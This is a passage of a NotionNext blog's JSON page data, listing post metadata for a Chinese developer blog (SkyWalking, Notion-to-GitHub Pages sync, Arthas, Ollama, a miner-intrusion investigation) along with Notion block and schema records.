以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","date":{"start_date":"2021-07-02"},"type":"Notice","slug":"#","summary":"类型为Notice的文章将被显示为公告,仅 hexo和next支持;仅限一个公告","title":"公告","status":"Invisible","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:18:35.186Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"📔","pageCover":"","pageCoverThumbnail":"","tagItems":[],"password":"","blockMap":{"block":{"f53bfc30-59bb-4890-ba28-0b045040aa5e":{"value":{"id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","version":3,"type":"page","content":["ed131e31-8c4e-4a1d-ab1c-e0413305a17c","0594fd5d-89de-4d48-a947-800290cd93ea","7f67629a-0082-4473-928f-d31d356b7841","c1ecbb45-e326-47ea-8556-c7d10bb170ed","f3004e35-d892-4b8c-b6d4-5509025ab04c","470ea75c-8d3c-4b36-9fdf-5c8b9f834ed5","26b17beb-0524-4379-8298-b4058fc13093"],"format":{"page_font":"mono","page_icon":"📔","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"cd84cb1a-43d2-4f24-94d2-fa6fc58f8032","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337114,"last_edited_time":1705594715186,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"cd84cb1a-43d2-4f24-94d2-fa6fc58f8032","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"ed131e31-8c4e-4a1d-ab1c-e0413305a17c":{"value":{"id":"ed131e31-8c4e-4a1d-ab1c-e0413305a17c","type":"text","properties":{"title":[["🎉talk is cheap🎉\n🎉show me the code🎉",[["b"]]]]},"format":{"copied_from_pointer":{"id":"7ca584a8-83fa-4b0c-a4a9-82b7507c6069","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337140,"last_edited_time":1705594337140,"parent_id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","parent_table":"block","alive":true,"copied_from":"7ca584a8-83fa-4b0c-a4a9-82b7507c6069"}},"0594fd5d-89de-4d48-a947-800290cd93ea":{"value":{"id":"0594fd5d-89de-4d48-a947-800290cd93ea","type":"text","properties":{"title":[["-- 感谢您的支持 ---",[["b"]]]]},"format":{"copied_from_pointer":{"id":"e1fa5279-d750-453f-8f4d-4c007cf67e21","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337141,"last_edited_time":1705594337141,"parent_id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","parent_table":"block","alive":true,"copied_from":"e1fa5279-d750-453f-8f4d-4c007cf67e21"}},"7f67629a-0082-4473-928f-d31d356b7841":{"value":{"id":"7f67629a-0082-4473-928f-d31d356b7841","type":"text","properties":{"title":[["👏欢迎更新体验👏"]]},"format":{"copied_from_pointer":{"id":"7d7f1ca5-6b68-4fdd-b258-84e9ad3eccfa","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337140,"last_edited_time":1705594337140,"parent_id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","parent_table":"block","alive":true,"copied_from":"7d7f1ca5-6b68-4fdd-b258-84e9ad3eccfa"}},"c1ecbb45-e326-47ea-8556-c7d10bb170ed":{"value":{"id":"c1ecbb45-e326-47ea-8556-c7d10bb170ed","type":"text","properties":{"title":[["操作手册",[["a","https://docs.tangly1024.com/about"]]]]},"format":{"copied_from_pointer":{"id":"c7110842-38fd-4b6a-b7f2-7e3c39374b63","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337140,"last_edited_time":1705594337140,"parent_id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","parent_table":"block","alive":true,"copied_from":"c7110842-38fd-4b6a-b7f2-7e3c39374b63"}},"f3004e35-d892-4b8c-b6d4-5509025ab04c":{"value":{"id":"f3004e35-d892-4b8c-b6d4-5509025ab04c","type":"text","properties":{"title":[["更新记录",[["a","https://docs.tangly1024.com/article/latest"]]]]},"format":{"copied_from_pointer":{"id":"2c16e0df-7a5c-4c27-b988-750e31a64f8e","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337140,"last_edited_time":1705594337140,"parent_id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","parent_table":"block","alive":true,"copied_from":"2c16e0df-7a5c-4c27-b988-750e31a64f8e"}},"470ea75c-8d3c-4b36-9fdf-5c8b9f834ed5":{"value":{"id":"470ea75c-8d3c-4b36-9fdf-5c8b9f834ed5","type":"text","properties":{"title":[["联系我们",[["a","https://docs.tangly1024.com/article/how-to-question"]]]]},"format":{"copied_from_pointer":{"id":"a53bc851-e8ad-46d8-9bcf-f0a56e09fead","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337140,"last_edited_time":1705594337140,"parent_id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","parent_table":"block","alive":true,"copied_from":"a53bc851-e8ad-46d8-9bcf-f0a56e09fead"}},"26b17beb-0524-4379-8298-b4058fc13093":{"value":{"id":"26b17beb-0524-4379-8298-b4058fc13093","type":"text","format":{"copied_from_pointer":{"id":"f383db66-f540-46a4-97db-3da46eff223c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337141,"last_edited_time":1705594337141,"parent_id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","parent_table":"block","alive":true,"copied_from":"f383db66-f540-46a4-97db-3da46eff223c"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b